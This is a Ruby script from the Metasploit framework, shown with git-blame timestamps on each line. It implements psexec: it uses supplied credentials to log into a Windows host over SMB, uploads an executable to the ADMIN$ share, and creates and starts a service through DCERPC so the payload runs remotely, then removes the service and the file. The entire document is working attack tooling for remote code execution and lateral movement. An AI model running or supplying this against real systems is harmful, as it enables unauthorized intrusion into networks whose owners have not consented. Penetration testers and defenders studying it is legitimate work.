2012-09-06 05:49:27 +00:00
|
|
|
#!/usr/bin/env ruby
|
2018-03-20 11:33:34 +00:00
|
|
|
|
|
|
|
##
|
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
2012-09-06 05:49:27 +00:00
|
|
|
#
|
|
|
|
# This is rough and dirty standalone (Rex only) psexec implementation
|
|
|
|
#
|
|
|
|
|
|
|
|
msfbase = __FILE__
|
|
|
|
while File.symlink?(msfbase)
|
2013-09-30 18:47:53 +00:00
|
|
|
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
|
2012-09-06 05:49:27 +00:00
|
|
|
end
|
|
|
|
|
2016-07-05 07:33:45 +00:00
|
|
|
gem 'rex-text'
|
|
|
|
|
2015-10-06 15:30:52 +00:00
|
|
|
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib')))
|
2012-09-06 05:49:27 +00:00
|
|
|
require 'msfenv'
|
|
|
|
|
|
|
|
$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
|
|
|
|
|
|
|
|
|
|
|
|
require 'rex'
|
|
|
|
require 'rex/proto/smb'
|
|
|
|
require 'rex/proto/ntlm'
|
|
|
|
require 'rex/proto/dcerpc'
|
|
|
|
require 'rex/encoder/ndr'
|
|
|
|
require 'rex/proto/smb/simpleclient'
|
|
|
|
|
|
|
|
|
|
|
|
def print_error(msg)
|
2013-09-30 18:47:53 +00:00
|
|
|
$stderr.puts "[-] #{msg}"
|
2012-09-06 05:49:27 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def print_status(msg)
|
2013-09-30 18:47:53 +00:00
|
|
|
$stderr.puts "[+] #{msg}"
|
2012-09-06 05:49:27 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def print_lines(msg)
|
2013-09-30 18:47:53 +00:00
|
|
|
$stderr.puts "[+] #{msg}"
|
2012-09-06 05:49:27 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def usage
|
2013-09-30 18:47:53 +00:00
|
|
|
$stderr.puts "#{$0} [host] [exe] [user] [pass]"
|
|
|
|
exit(0)
|
2012-09-06 05:49:27 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def dcerpc_handle(uuid, version, protocol, opts, rhost)
|
2013-09-30 18:47:53 +00:00
|
|
|
Rex::Proto::DCERPC::Handle.new([uuid, version], protocol, rhost, opts)
|
2012-09-06 05:49:27 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def dcerpc_bind(handle, csocket, csimple, cuser, cpass)
|
2013-09-30 18:47:53 +00:00
|
|
|
opts = { }
|
|
|
|
opts['connect_timeout'] = 10
|
|
|
|
opts['read_timeout'] = 10
|
|
|
|
opts['smb_user'] = cuser
|
|
|
|
opts['smb_pass'] = cpass
|
|
|
|
opts['frag_size'] = 512
|
|
|
|
opts['smb_client'] = csimple
|
2016-07-05 07:33:45 +00:00
|
|
|
|
2013-09-30 18:47:53 +00:00
|
|
|
Rex::Proto::DCERPC::Client.new(handle, csocket, opts)
|
|
|
|
end
|
2012-09-06 05:49:27 +00:00
|
|
|
|
|
|
|
def dcerpc_call(function, stub = '', timeout=nil, do_recv=true)
|
2013-09-30 18:47:53 +00:00
|
|
|
otimeout = dcerpc.options['read_timeout']
|
|
|
|
|
|
|
|
begin
|
|
|
|
dcerpc.options['read_timeout'] = timeout if timeout
|
|
|
|
dcerpc.call(function, stub, do_recv)
|
|
|
|
rescue ::Rex::Proto::SMB::Exceptions::NoReply, Rex::Proto::DCERPC::Exceptions::NoResponse
|
|
|
|
print_status("The DCERPC service did not reply to our request")
|
|
|
|
return
|
|
|
|
ensure
|
|
|
|
dcerpc.options['read_timeout'] = otimeout
|
|
|
|
end
|
2012-09-06 05:49:27 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
opt_port = 445
|
|
|
|
opt_host = ARGV.shift() || usage()
|
|
|
|
opt_path = ARGV.shift() || usage()
|
|
|
|
opt_user = ARGV.shift() || usage()
|
|
|
|
opt_pass = ARGV.shift() || ""
|
|
|
|
|
|
|
|
opt_share = "ADMIN$"
|
|
|
|
opt_domain = "."
|
|
|
|
|
2018-05-07 05:12:18 +00:00
|
|
|
begin
|
|
|
|
socket = Rex::Socket.create_tcp({ 'PeerHost' => opt_host, 'PeerPort' => opt_port.to_i })
|
|
|
|
rescue Rex::ConnectionRefused, Rex::HostUnreachable => e
|
|
|
|
print_error("Could not connect: #{e}")
|
|
|
|
exit(1)
|
|
|
|
end
|
2012-09-06 05:49:27 +00:00
|
|
|
|
2018-05-07 05:12:18 +00:00
|
|
|
simple = Rex::Proto::SMB::SimpleClient.new(socket, opt_port.to_i == 445, versions = [1, 2])
|
2012-09-06 05:49:27 +00:00
|
|
|
|
|
|
|
simple.login(
|
2013-09-30 18:47:53 +00:00
|
|
|
Rex::Text.rand_text_alpha(8),
|
|
|
|
opt_user,
|
|
|
|
opt_pass,
|
|
|
|
opt_domain
|
2012-09-06 05:49:27 +00:00
|
|
|
)
|
|
|
|
simple.connect("\\\\#{opt_host}\\IPC$")
|
|
|
|
|
|
|
|
if (not simple.client.auth_user)
|
2013-09-30 18:47:53 +00:00
|
|
|
print_line(" ")
|
|
|
|
print_error(
|
|
|
|
"FAILED! The remote host has only provided us with Guest privileges. " +
|
|
|
|
"Please make sure that the correct username and password have been provided. " +
|
|
|
|
"Windows XP systems that are not part of a domain will only provide Guest privileges " +
|
|
|
|
"to network logins by default."
|
|
|
|
)
|
|
|
|
print_line(" ")
|
|
|
|
exit(1)
|
2012-09-06 05:49:27 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
fname = Rex::Text.rand_text_alpha(8) + ".exe"
|
|
|
|
sname = Rex::Text.rand_text_alpha(8)
|
|
|
|
|
|
|
|
# Upload the payload to the share
|
|
|
|
print_status("Uploading payload...")
|
|
|
|
|
|
|
|
simple.connect(opt_share)
|
|
|
|
|
|
|
|
fd = simple.open("\\#{fname}", 'rwct', 500)
|
|
|
|
File.open(opt_path, "rb") do |efd|
|
2013-09-30 18:47:53 +00:00
|
|
|
fd << efd.read
|
2012-09-06 05:49:27 +00:00
|
|
|
end
|
|
|
|
fd.close
|
|
|
|
|
|
|
|
print_status("Created \\#{fname}...")
|
|
|
|
|
|
|
|
# Disconnect from the share
|
|
|
|
simple.disconnect(opt_share)
|
|
|
|
|
|
|
|
# Connect to the IPC service
|
|
|
|
simple.connect("IPC$")
|
|
|
|
|
|
|
|
|
|
|
|
# Bind to the service
|
|
|
|
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"], opt_host)
|
|
|
|
print_status("Binding to #{handle} ...")
|
|
|
|
dcerpc = dcerpc_bind(handle, socket, simple, opt_user, opt_pass)
|
|
|
|
print_status("Bound to #{handle} ...")
|
|
|
|
|
|
|
|
##
|
|
|
|
# OpenSCManagerW()
|
|
|
|
##
|
|
|
|
|
|
|
|
print_status("Obtaining a service manager handle...")
|
|
|
|
scm_handle = nil
|
2018-05-07 05:12:18 +00:00
|
|
|
NDR = Rex::Encoder::NDR
|
2012-09-06 05:49:27 +00:00
|
|
|
stubdata =
|
2013-09-30 18:47:53 +00:00
|
|
|
NDR.uwstring("\\\\#{opt_host}") +
|
|
|
|
NDR.long(0) +
|
|
|
|
NDR.long(0xF003F)
|
2012-09-06 05:49:27 +00:00
|
|
|
begin
|
2013-09-30 18:47:53 +00:00
|
|
|
response = dcerpc.call(0x0f, stubdata)
|
|
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
|
|
scm_handle = dcerpc.last_response.stub_data[0,20]
|
|
|
|
end
|
2012-09-06 05:49:27 +00:00
|
|
|
rescue ::Exception => e
|
2013-09-30 18:47:53 +00:00
|
|
|
print_error("Error: #{e}")
|
|
|
|
return
|
2012-09-06 05:49:27 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
##
|
|
|
|
# CreateServiceW()
|
|
|
|
##
|
|
|
|
|
|
|
|
file_location = "%SYSTEMROOT%\\#{fname}"
|
|
|
|
|
|
|
|
displayname = 'M' + Rex::Text.rand_text_alpha(rand(32)+1)
|
|
|
|
svc_handle = nil
|
|
|
|
svc_status = nil
|
|
|
|
|
|
|
|
print_status("Creating a new service (#{sname} - \"#{displayname}\")...")
|
|
|
|
stubdata =
|
2013-09-30 18:47:53 +00:00
|
|
|
scm_handle +
|
|
|
|
NDR.wstring(sname) +
|
|
|
|
NDR.uwstring(displayname) +
|
|
|
|
|
|
|
|
NDR.long(0x0F01FF) + # Access: MAX
|
|
|
|
NDR.long(0x00000110) + # Type: Interactive, Own process
|
|
|
|
NDR.long(0x00000003) + # Start: Demand
|
|
|
|
NDR.long(0x00000000) + # Errors: Ignore
|
|
|
|
NDR.wstring( file_location ) + # Binary Path
|
|
|
|
NDR.long(0) + # LoadOrderGroup
|
|
|
|
NDR.long(0) + # Dependencies
|
|
|
|
NDR.long(0) + # Service Start
|
|
|
|
NDR.long(0) + # Password
|
|
|
|
NDR.long(0) + # Password
|
|
|
|
NDR.long(0) + # Password
|
|
|
|
NDR.long(0) # Password
|
2012-09-06 05:49:27 +00:00
|
|
|
begin
|
2013-09-30 18:47:53 +00:00
|
|
|
response = dcerpc.call(0x0c, stubdata)
|
|
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
|
|
svc_handle = dcerpc.last_response.stub_data[0,20]
|
|
|
|
svc_status = dcerpc.last_response.stub_data[24,4]
|
|
|
|
end
|
2012-09-06 05:49:27 +00:00
|
|
|
rescue ::Exception => e
|
2013-09-30 18:47:53 +00:00
|
|
|
print_error("Error: #{e}")
|
|
|
|
exit(1)
|
2012-09-06 05:49:27 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
##
|
|
|
|
# CloseHandle()
|
|
|
|
##
|
|
|
|
print_status("Closing service handle...")
|
|
|
|
begin
|
2013-09-30 18:47:53 +00:00
|
|
|
response = dcerpc.call(0x0, svc_handle)
|
2012-09-06 05:49:27 +00:00
|
|
|
rescue ::Exception
|
|
|
|
end
|
|
|
|
|
|
|
|
##
|
|
|
|
# OpenServiceW
|
|
|
|
##
|
|
|
|
print_status("Opening service...")
|
|
|
|
begin
|
2013-09-30 18:47:53 +00:00
|
|
|
stubdata =
|
|
|
|
scm_handle +
|
|
|
|
NDR.wstring(sname) +
|
|
|
|
NDR.long(0xF01FF)
|
|
|
|
|
|
|
|
response = dcerpc.call(0x10, stubdata)
|
|
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
|
|
svc_handle = dcerpc.last_response.stub_data[0,20]
|
|
|
|
end
|
2012-09-06 05:49:27 +00:00
|
|
|
rescue ::Exception => e
|
2013-09-30 18:47:53 +00:00
|
|
|
print_error("Error: #{e}")
|
|
|
|
exit(1)
|
2012-09-06 05:49:27 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
##
|
|
|
|
# StartService()
|
|
|
|
##
|
|
|
|
print_status("Starting the service...")
|
|
|
|
stubdata =
|
2013-09-30 18:47:53 +00:00
|
|
|
svc_handle +
|
|
|
|
NDR.long(0) +
|
|
|
|
NDR.long(0)
|
2012-09-06 05:49:27 +00:00
|
|
|
begin
|
2013-09-30 18:47:53 +00:00
|
|
|
response = dcerpc.call(0x13, stubdata)
|
2012-09-06 05:49:27 +00:00
|
|
|
rescue ::Exception => e
|
2013-09-30 18:47:53 +00:00
|
|
|
print_error("Error: #{e}")
|
|
|
|
exit(1)
|
2012-09-06 05:49:27 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# DeleteService()
|
|
|
|
##
|
|
|
|
print_status("Removing the service...")
|
|
|
|
stubdata = svc_handle
|
|
|
|
begin
|
2013-09-30 18:47:53 +00:00
|
|
|
response = dcerpc.call(0x02, stubdata)
|
|
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
|
|
end
|
2012-09-06 05:49:27 +00:00
|
|
|
rescue ::Exception => e
|
2013-09-30 18:47:53 +00:00
|
|
|
print_error("Error: #{e}")
|
2012-09-06 05:49:27 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
##
|
|
|
|
# CloseHandle()
|
|
|
|
##
|
|
|
|
print_status("Closing service handle...")
|
|
|
|
begin
|
2013-09-30 18:47:53 +00:00
|
|
|
response = dcerpc.call(0x0, svc_handle)
|
2012-09-06 05:49:27 +00:00
|
|
|
rescue ::Exception => e
|
2013-09-30 18:47:53 +00:00
|
|
|
print_error("Error: #{e}")
|
2012-09-06 05:49:27 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
begin
|
2013-09-30 18:47:53 +00:00
|
|
|
print_status("Deleting \\#{fname}...")
|
|
|
|
select(nil, nil, nil, 1.0)
|
|
|
|
simple.connect(smbshare)
|
|
|
|
simple.delete("\\#{fname}")
|
2012-09-06 05:49:27 +00:00
|
|
|
rescue ::Interrupt
|
2013-09-30 18:47:53 +00:00
|
|
|
raise $!
|
2012-09-06 05:49:27 +00:00
|
|
|
rescue ::Exception
|
2013-09-30 18:47:53 +00:00
|
|
|
#raise $!
|
2012-09-06 05:49:27 +00:00
|
|
|
end
|